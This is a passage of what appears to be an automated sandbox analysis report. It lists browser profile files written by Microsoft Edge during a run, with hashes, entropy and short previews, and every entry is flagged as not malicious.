Preview:	2024/10/29-23:34:28.986 1cfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-23:34:28.992 1cfc Recovering log #3.2024/10/29-23:34:29.047 1cfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.220789448694501
Encrypted:	false
SSDEEP:	12:eO1M+vVaYebvqBQFUt8Fe/+FQ2MV5OaYebvqBvJ:PPVaYebvZg8qOaYebvk
MD5:	AE25662C811D3130E18C34EFA1E4518F
SHA1:	0450BA3326DFC0E90F277806DC990C95673DE3E1
SHA-256:	4D47FA5F4D726FE374DAAD3F19A5E724A6CEC098FB827ED9B42BD0D8D2932558
SHA-512:	F1B931C14001F4E9FDD3E4131CE2AD892655B6FCE97A1F1F6F6B38230E9B7A49F8C21C77C75FF4DB45F023E1FB5D6D6F10491844370B229844D3EE32B3EC4BB4
Malicious:	false
Preview:	2024/10/29-23:34:28.986 1cfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-23:34:28.992 1cfc Recovering log #3.2024/10/29-23:34:29.047 1cfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1474fb2b-ef5e-41e6-b66c-aabfa95b6f13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1c8e2e8c-7bb5-46be-8745-a1ecb2934a7f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\411b8e37-d539-4482-87c9-2f9b7c7fbce2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9cb75f9c-8323-40f4-8c3d-44fc6cf0c656.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ca46.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ce3e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d50683b9-7f06-4c18-b96c-b5e79dc78298.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.226101225258319
Encrypted:	false
SSDEEP:	12:ef4OvVaYebvqBZFUt8FK9/+FM05OaYebvqBaJ:yVVaYebvyg8oD+OaYebvL
MD5:	6F619A3C888699CB1E1417A7E5619D83
SHA1:	EA6D3D0FD3A7DC4EEB512B8135A001F2C4756477
SHA-256:	624E31FD73F33DFB7D3E671701E0E28D2C075FD8AE16F3241A9309361AB77838
SHA-512:	5AB6C16C6D4AE902AFECC30F5C70BB2A2C5660A64A86106C6B73A5F420C0C06599F2E53AED43724B2FC7F8111975103D066141F2512C188EE371734C8EC14AF6
Malicious:	false
Preview:	2024/10/29-23:34:46.235 19a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-23:34:46.237 19a4 Recovering log #3.2024/10/29-23:34:46.241 19a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.226101225258319
Encrypted:	false
SSDEEP:	12:ef4OvVaYebvqBZFUt8FK9/+FM05OaYebvqBaJ:yVVaYebvyg8oD+OaYebvL
MD5:	6F619A3C888699CB1E1417A7E5619D83
SHA1:	EA6D3D0FD3A7DC4EEB512B8135A001F2C4756477
SHA-256:	624E31FD73F33DFB7D3E671701E0E28D2C075FD8AE16F3241A9309361AB77838
SHA-512:	5AB6C16C6D4AE902AFECC30F5C70BB2A2C5660A64A86106C6B73A5F420C0C06599F2E53AED43724B2FC7F8111975103D066141F2512C188EE371734C8EC14AF6
Malicious:	false
Preview:	2024/10/29-23:34:46.235 19a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-23:34:46.237 19a4 Recovering log #3.2024/10/29-23:34:46.241 19a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.169797648238775
Encrypted:	false
SSDEEP:	6:ej7WM+q2PN723oH+TcwtpIFUt8Fj41Zmw+FjIYjWMVkwON723oH+Tcwta/WLJ:eHL+vVaYebmFUt8FK/+FEULV5OaYebaQ
MD5:	2A44CC829A6C6AB0D202580CCCA86634
SHA1:	8D7B2B84EE9EC52D9584306FDF6BAB5C5AA60253
SHA-256:	DDCDC27F1D6B64243FE2944B38B020A90CAFCA77FC6BEF51EAABB380C7F57EF5
SHA-512:	EF3E69CDE49360A9DFB8C28C0E7DC740F9F6F5D39BE17BD365329C82FF7BD146161A5D4A4658291D0B47F240DECCFFFD91FFCEC9F74E4E959393C7BB8CB3CFE1
Malicious:	false
Preview:	2024/10/29-23:34:28.117 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-23:34:28.121 1d1c Recovering log #3.2024/10/29-23:34:28.122 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.169797648238775
Encrypted:	false
SSDEEP:	6:ej7WM+q2PN723oH+TcwtpIFUt8Fj41Zmw+FjIYjWMVkwON723oH+Tcwta/WLJ:eHL+vVaYebmFUt8FK/+FEULV5OaYebaQ
MD5:	2A44CC829A6C6AB0D202580CCCA86634
SHA1:	8D7B2B84EE9EC52D9584306FDF6BAB5C5AA60253
SHA-256:	DDCDC27F1D6B64243FE2944B38B020A90CAFCA77FC6BEF51EAABB380C7F57EF5
SHA-512:	EF3E69CDE49360A9DFB8C28C0E7DC740F9F6F5D39BE17BD365329C82FF7BD146161A5D4A4658291D0B47F240DECCFFFD91FFCEC9F74E4E959393C7BB8CB3CFE1
Malicious:	false
Preview:	2024/10/29-23:34:28.117 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-23:34:28.121 1d1c Recovering log #3.2024/10/29-23:34:28.122 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2679145808592298
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMhSA1LyKOMq+8iP5GDHP/0jMVumO:Kq+n0Jh91LyKOMq+8iP5GLP/0r
MD5:	AF59B5F371882768317035C75F1B6D15
SHA1:	6FFD27ACFDF802D7B382502F4C3EB416F7068654
SHA-256:	55B91BDC248413262FD3A05E53EACE6693CC0AE84D4027889DBC78083685714B
SHA-512:	BD95C57C325639D4B26B093A94FB2D0FE271783970C43346D16AB25F04D12D2F846437EDA1D08919E09C6B533C5D561F3E976DD8D5010306AB07E7AC2F9214AC
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46667068548134133
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0eJ9:v7doKsKuKZKlZNmu46yjx0e7
MD5:	995E89D1ADF021BB9E2BF3A9EED215AB
SHA1:	102D41A2FBB0B5E3C0E5E46C3315EE6FED2F4DB0
SHA-256:	4B4F04525995314391FB89516CBAE19F1B3B25938D5704CCA11105214D3AA913
SHA-512:	5AFF1C1232C9D97F88675FDC442F10C546F86420EB9F04D90D66F0E63B98B530B59CDE0F3E693B21C54C2DE6C4A50D0ABCE32BE778FA0346AA15EDA6C430EA1F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c284e24c-c265-49b9-ae88-cd748581bd90.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17320), with no line terminators
Category:	dropped
Size (bytes):	17322
Entropy (8bit):	5.469862289244403
Encrypted:	false
SSDEEP:	192:stqJ99QTryDiuabatSuypDs0/aFvrEjW4fRR5TkpENqR3w1Ky/gfrrCsVrph3VGG:stqPGQSu4Ds0/CDGl4lwUQbG9Qw0C3F
MD5:	84D3846A10056A31A8C2E8E822788A60
SHA1:	DD27D35DEE8760C93D4190A90ACDB28216606D02
SHA-256:	60C55C687359DA2A49ED86A465F533B488104AFE172CF011D4BA13AAD07C9D59
SHA-512:	3FD111AEE3F5B313900255FD2F0865116B22B3B4CBAB8D874AEAD14A4FB5B480EAB3C3FEF3DD46BEAA554DDC8C91E188285BE3EC5F2FEE2C1876C5E1B395F788
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374732868695268","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e107fd91-3219-4235-b0a5-44ffbf9b65d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.5613287745132025
Encrypted:	false
SSDEEP:	768:vzJ+FCWB/7pLGLpH1W5wXrf4Z/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPNRPQI6HJ:vVeC25cpH1WaXrf2/u1jaoRPEnBJQTS5
MD5:	55DF79AFCCF332B4D78EF5E9FBE8D981
SHA1:	8168C850F1DB52B4113B901A69642BD24714A85C
SHA-256:	A621CDE4C272F057938E365D53B27D1680F918C55DE8D2853A7F911535AC05CD
SHA-512:	06A8E3CC1FB0C9CC7BE14DFBC2B274A191B3681A38877C33DEFB0632DA050EE4E2B60FF6CE6B7CF6B03651504CB936A2B66CAE34FF6E71EAD7B62FB988C91DB9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374732868087520","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374732868087520","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fac64d7b-5a23-41c0-ad82-72415a820d4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10568770587092262
Encrypted:	false
SSDEEP:	12:Jntcc7ntcctEpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntPntioPnnnnnnnnnnnnvHj
MD5:	0171A7B631F89337DA18AD8CE280E595
SHA1:	466630E4583D3A5F325D07CC2CDA6A0B229C15ED
SHA-256:	9CF8D046567245CDB5F53C3AF4608473A42D164BA52F8428FD3653AA89EA0332
